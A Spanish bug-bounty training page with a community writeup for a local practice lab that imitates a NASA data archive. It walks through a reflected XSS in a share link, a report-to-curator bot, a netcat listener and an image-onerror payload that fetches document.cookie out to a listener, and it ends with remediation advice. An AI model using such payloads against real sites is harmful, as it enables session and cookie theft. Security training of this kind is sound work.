BBLABS v2BBLABSv2
>Inicio>Labs
>New labs

Últimos 3 labs

Cargando…

Ver todos los labs →
>Creators>Ranking
>Aprender

Aprender bug bounty

AcademyGuías, cheatsheets y diccionarioVulnerabilidadesXSS, SQLi, IDOR, SSRF y másHunter RoadmapTu ruta de bug bounty paso a pasoBlogGuías y noticias de bug bounty
>Empresa>Precios
EN
AccederAcceder
>Inicio>Labs>New labs>Creators>Ranking>Aprender>Empresa>Precios
EN
Iniciar SesiónCrear Cuenta
  1. Inicio
  2. Labs
  3. NASA - Reflected XSS via Share-Link
MediaVDP15 min

NASA - Reflected XSS via Share-Link

Por @gorka

Archivo científico ficticio inspirado en `seabass.gsfc.nasa.gov` (NASA Goddard). El buscador acepta búsquedas vía `POST /api/search` (seguro, React JSX escapa el JSON) pero ofrece un botón "Share this search" que convierte la búsqueda en una URL `GET /search/?keyword1=…`. Esa URL la sirve Express directamente como HTML server-side para crawlers científicos, interpolando los valores sin escape en el bloque "Active filters". Cualquier payload XSS en `keyword1` se ejecuta al abrir el link

462 visitas18 completadosActualizado ago 2026
Iniciar sesión para empezar
Vídeo explicativopor @gorka

Aprende a encontrar este bug

Un reporte real de Bugcrowd, reproducido para que lo practiques.

Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.

hunters entrenando
650

hunters entrenando

labs de reportes reales
50

labs de reportes reales

completaciones
380

completaciones

en bounties practicados
$200.000

en bounties practicados

40 flags capturadas esta semana
Crear cuenta
Ya tengo cuenta

Acceso a todos los labs · sin permanencia · cancela cuando quieras

Hunters que lo han resuelto· 8

kaneki1
@kanekiHace 2 días
telecasacasa452
@telecasacasa45Hace 2 días
VA3
@vazquezdv182005Hace 5 días
thamerop00
@thamerop00Hace 6 días
maguin
@maguinHace 11 días
noniná_sec
@noniná_secHace 13 días
flyingwhales
@flyingwhalesHace 16 días
AL
@alex.burja.2000jul 2026

Objetivos

1
Reconocer la diferencia de comportamiento entre `POST /api/search`
2
Identificar la mecánica del botón "Share this search"
3
Confirmar la XSS reflejada en `keyword1` con un probe inerte
4
Identificar la funcionalidad "Report to curator"
5
Confirmar que la cookie `curator_session` del bot es accesible vía `document.cookie`
6
Configurar un listener HTTP en el host (`nc -lp 9999` o `python3 -m http.server 9999`)

Información

Plataforma
Bugcrowd
Dificultad
Media
Duración
15 min
Bounty
VDP
Completados
18
Creador
gorka@gorka
Actualizado
ago 2026

Descarga el entorno

Reprodúcelo y encuentra el bug tú mismo

Crear cuenta

Herramientas

Burp SuiteCSP Bypass

Prerequisitos

  • Concepto básico de Reflected XSS
  • Capacidad para inspeccionar HTML crudo
  • Familiaridad con cookies

Tags

XSS

Logro que recibirás

Cuando resuelvas este lab desbloqueas este logro compartible

BBLABS.ESLab Resuelto
MediaVDP
// achievement_unlocked

NASA - Reflected XSS via Share-Link

XSS
ago 2026
gorka
solved_by@gorkaMiembro desde mar 2026
bblabs.es// real bug bounty practice

Writeups de la comunidad

AQUASCAN Bio-Optical Archive es un mini-portal científico (Express + TS + better-sqlite3 + React 18 + Vite + Puppeteer-core, puerto 1341) inspirado en archivos bio-ópticos como SeaBASS (NASA Goddard). Indexa datasets de clorofila-A, temperatura superficial del mar, salinidad, batimetría, pigmentos fitoplancton, perfiles bio-ópticos, flujos de partículas, velocidad de corrientes y absorción CDOM, procedentes de cruceros (R/V Nereus, R/V Polar Sun, R/V Campanula…) y satélites (MODIS-Aqua, VIIRS-SNPP).

La interfaz tiene una estética oceanográfica deliberada — paleta azul abisal → turquesa → aqua con plancton flotante, ondas SVG paralelas en el fondo, mini-batimetrías y heatmaps animados. Pretende parecer un portal serio de datos científicos, no un CTF obvio.

Capa 1 — Reflected XSS en GET /search/

Hay dos caminos distintos que comparten apariencia visual:

  1. POST /api/search (workbench del SPA) → devuelve JSON con echo + results. El frontend lo renderiza con React JSX, que escapa los valores en inserción. No hay XSS aquí.

  2. GET /search/?keyword1=…&keyword2=…&region=…&… (permalink) → el servidor responde con una página HTML completa (no es el SPA), pensada para que los crawlers indexen el resultado de la búsqueda sin ejecutar JavaScript. La página tiene un bloque "Active filters" que recompone los valores en <li><span class="permalink-chip-key">…</span><code class="permalink-chip-val">${valor}</code></li> usando template literals con interpolación cruda. El helper escapeHtml() se aplica únicamente al texto descriptivo y al resto del HTML estructural — los valores de los chips quedan sin escapar.

Por qué el bug es plausible: el desarrollador necesita SSR del permalink para que los crawlers científicos puedan ver la búsqueda sin ejecutar el SPA. Decide reusar la paleta y la tipografía vía un CSS inline, y compone los chips activos con plantillas literales. Es una decisión razonable a primera vista; el fallo es no haber pasado los valores de los chips por el escapeHtml() que sí aplica al resto del documento.

Capa 2 — Curator bot con cookie = flag

La funcionalidad "Report to curator" (POST /api/reports) permite a researchers autenticados enviar permalinks a la curadora Dr. Mira Vandenberg para revisión.

El proceso server/src/bot/curatorBot.ts (Puppeteer-core) corre dentro del mismo container:

  • Cada BOT_CYCLE_MS = 8000 ms reclama (transaccional) hasta 4 reports con status='pending' y los marca in_review.
  • Valida el host del share_url contra una allowlist (localhost:1341, 127.0.0.1:1341, host.docker.internal:1341, aquascan:1341). Si no matchea → rejected_off_origin. Esto evita que el bot actúe como SSRF gadget.
  • Lanza Chromium headless con --no-sandbox --disable-dev-shm-usage etc.
  • Setea la cookie curator_session = <FLAG> para domain localhost, 127.0.0.1, host.docker.internal y aquascan, con httpOnly:false, sameSite:'Lax', secure:false.
  • Navega al share_url y permanece PAGE_DWELL_MS = 4000 ms para dar tiempo a que el JS reflejado dispare.
  • Loggea cada visita a /app/data/bot.log (no expuesto vía HTTP).

El valor de la cookie del curator es literalmente la flag (FLAG{md5(preimage)}). Cuando el payload XSS reflejado en keyword1 ejecuta document.cookie, lee curator_session=FLAG{…} y exfiltra al listener.

Routing del listener desde el bot

El bot corre dentro de Docker; su 127.0.0.1 es el propio container, no el host del jugador. Para que el patrón natural funcione (nc -lp 9999 en el host, payload con fetch('http://127.0.0.1:9999/?c='+document.cookie)), el lab arranca un TCP forwarder dentro del propio contenedor (server/src/bot/exfilForwarder.ts) que:

  • Escucha en 127.0.0.1:9999 dentro del container.
  • Reenvía cada conexión a host.docker.internal:9999 (el host del jugador, mapeado vía extra_hosts: host.docker.internal:host-gateway en docker-compose.yml).

Resultado: cuando el fetch() del payload XSS dentro del Chromium del bot conecta a 127.0.0.1:9999, los bytes se canalizan transparentemente hasta el nc del jugador en el host. El jugador ve la mental model normal y no tiene que conocer host.docker.internal.

Cadena completa (lo que el jugador debe hacer)

  1. Login (o registro) en AQUASCAN. Credenciales demo: attacker@aquascan.earth / password123.

  2. Abrir /search, rellenar el formulario, hacer click en "Run search" → ver que devuelve resultados (POST seguro).

  3. En la página de resultados, click en "Share this search" → copia la URL /search/?keyword1=…. Inspeccionar el HTML server-side de esa URL.

  4. Probar payloads en keyword1 vía la URL GET y confirmar XSS reflejada:

    http://localhost:1341/search/?keyword1=<script>alert(1)</script>
    
  5. Notar la funcionalidad "Report to curator" en la página de resultados o /reports. Deducir que un bot/curador abre los enlaces enviados.

  6. Inspeccionar las cookies relevantes (document.cookie desde DevTools, o probar payloads que lean cookies sin restricción).

  7. Levantar el listener:

    nc -lp 9999
    
  8. Construir el payload (usa 127.0.0.1:9999 — el lab enruta a tu host internamente):

    <img src=x onerror="fetch('http://127.0.0.1:9999/?c='+encodeURIComponent(document.cookie))">
    
  9. Construir la URL maliciosa con el payload en keyword1:

    http://localhost:1341/search/?keyword1=<URL-encoded-payload>&region=Pacific
    
  10. Enviarla vía la UI ("Request curator review") o directamente:

    curl -X POST http://localhost:1341/api/reports \
      -H 'Content-Type: application/json' \
      -H 'Authorization: Bearer <YOUR_TOKEN>' \
      -d '{"share_url":"<la URL maliciosa>","note":"please review"}'
    
  11. Esperar 10-15 s. En el listener nc verás algo como:

    GET /?c=curator_session%3DFLAG%7B38304cc092217a91e014fbcd0cfb855b%7D HTTP/1.1
    Host: 127.0.0.1:9999
    
  12. URL-decodear el query string → la flag.

Impacto real

En el reporte original (SeaBASS) la curadora podía:

  • Re-publicar / despublicar datasets oceanográficos.
  • Mintar citaciones científicas.
  • Aprobar ingestas upstream desde nodos regionales.
  • Acceder a submissions embargoed.

Un solo click en un share-link envenenado entrega todas esas capacidades al atacante, silenciosamente, y el único rastro auditable es una línea en bot.log.

Remediation

  • Escape HTML todo valor de query antes de interpolarlo en el HTML del permalink. El helper escapeHtml() que ya envuelve el resto del documento debe envolver también los chips activos.
  • CSP estricta en la respuesta del permalink: Content-Security-Policy: script-src 'self'; img-src 'self' data:; default-src 'self'; neutraliza los handlers de evento inyectados.
  • Render con templating engine que escape por defecto (Handlebars, EJS en autoescape, JSX server-side rendering).
  • Cookie HttpOnly para la sesión del curator. document.cookie no podría leerla.
  • SameSite=Strict para neutralizar navegaciones cross-context.
  • Aislamiento de red del bot: namespace que no pueda alcanzar nada externo — ni siquiera host.docker.internal.
  • No convertir POST→GET para recetas sensibles. El permalink puede ser un token firmado opaco en vez de exponer los campos crudos.

Contacto

Practica, aprende y hackea

Plataforma de práctica de bug bounty con labs basados en reportes reales. Aprende hacking ético en entornos seguros.

contactar→

Síguenos

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Accede a todos los labs desde 7,99€/mes

Nuevos labs cada semana. Cancela cuando quieras.

Crear cuenta

BBLabs es la plataforma de laboratorios de bug bounty en español donde aprender bug bounty con vulnerabilidades reales extraídas de reportes pagados en HackerOne, Bugcrowd e Intigriti. Aquí practicas hacking web —XSS, SQLi, IDOR, SSRF, CSRF y más— en entornos descargables, capturas la flag, lees el writeup y aplicas la técnica en programas activos de bug bounty.

BBLabs es la alternativa en español a HackTheBox, TryHackMe y PentesterLab para quienes quieren practicar bug bounty con reportes reales en lugar de CTFs artificiales. Desde 7,99€/mes, sin permanencia.

→ Aprender bug bounty desde cero→ Cómo hacer bug bounty paso a paso→ Reportes de bug bounty reales→ BBLabs para empresas y academiasLabsAcademyVulnerabilidadesHerramientasRanking de huntersLabs de XSSLabs de IDORLabs de SSRFLabs de CSRFHackTheBox alternativaHack4u alternativaTryHackMe alternativaPortSwigger alternativaPentesterLab alternativaBug Bounty Labs comparativaHackerOne para practicarOffSec / OSCP alternativaINE / eWPT alternativaHTB Academy alternativaDVWA alternativaJuice Shop alternativaVulnHub alternativaPentesterAcademy alternativaRoot-Me alternativaHackTheBox vs TryHackMeMejores plataformas bug bounty 2026BlogSpoilers¿Qué es el bug bounty?¿Cuánto se gana en bug bounty?OWASP Top 10 explicadoMejores webs para practicar hacking webCómo ser hacker ético desde ceroTutorial de Burp Suite en españolOSCP en español: guía y preparaciónGoogle Dorks para bug bountyCuánto gana un hacker ético en EspañaHerramientas de bug bounty 2026Mejores certificaciones de ciberseguridad 2026Burp Suite tutorialsqlmap tutorialffuf fuzzing webnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Hecho cony código
TérminosPrivacidadComparativaEN

© 2026 BBLABS v2 — Todos los derechos reservados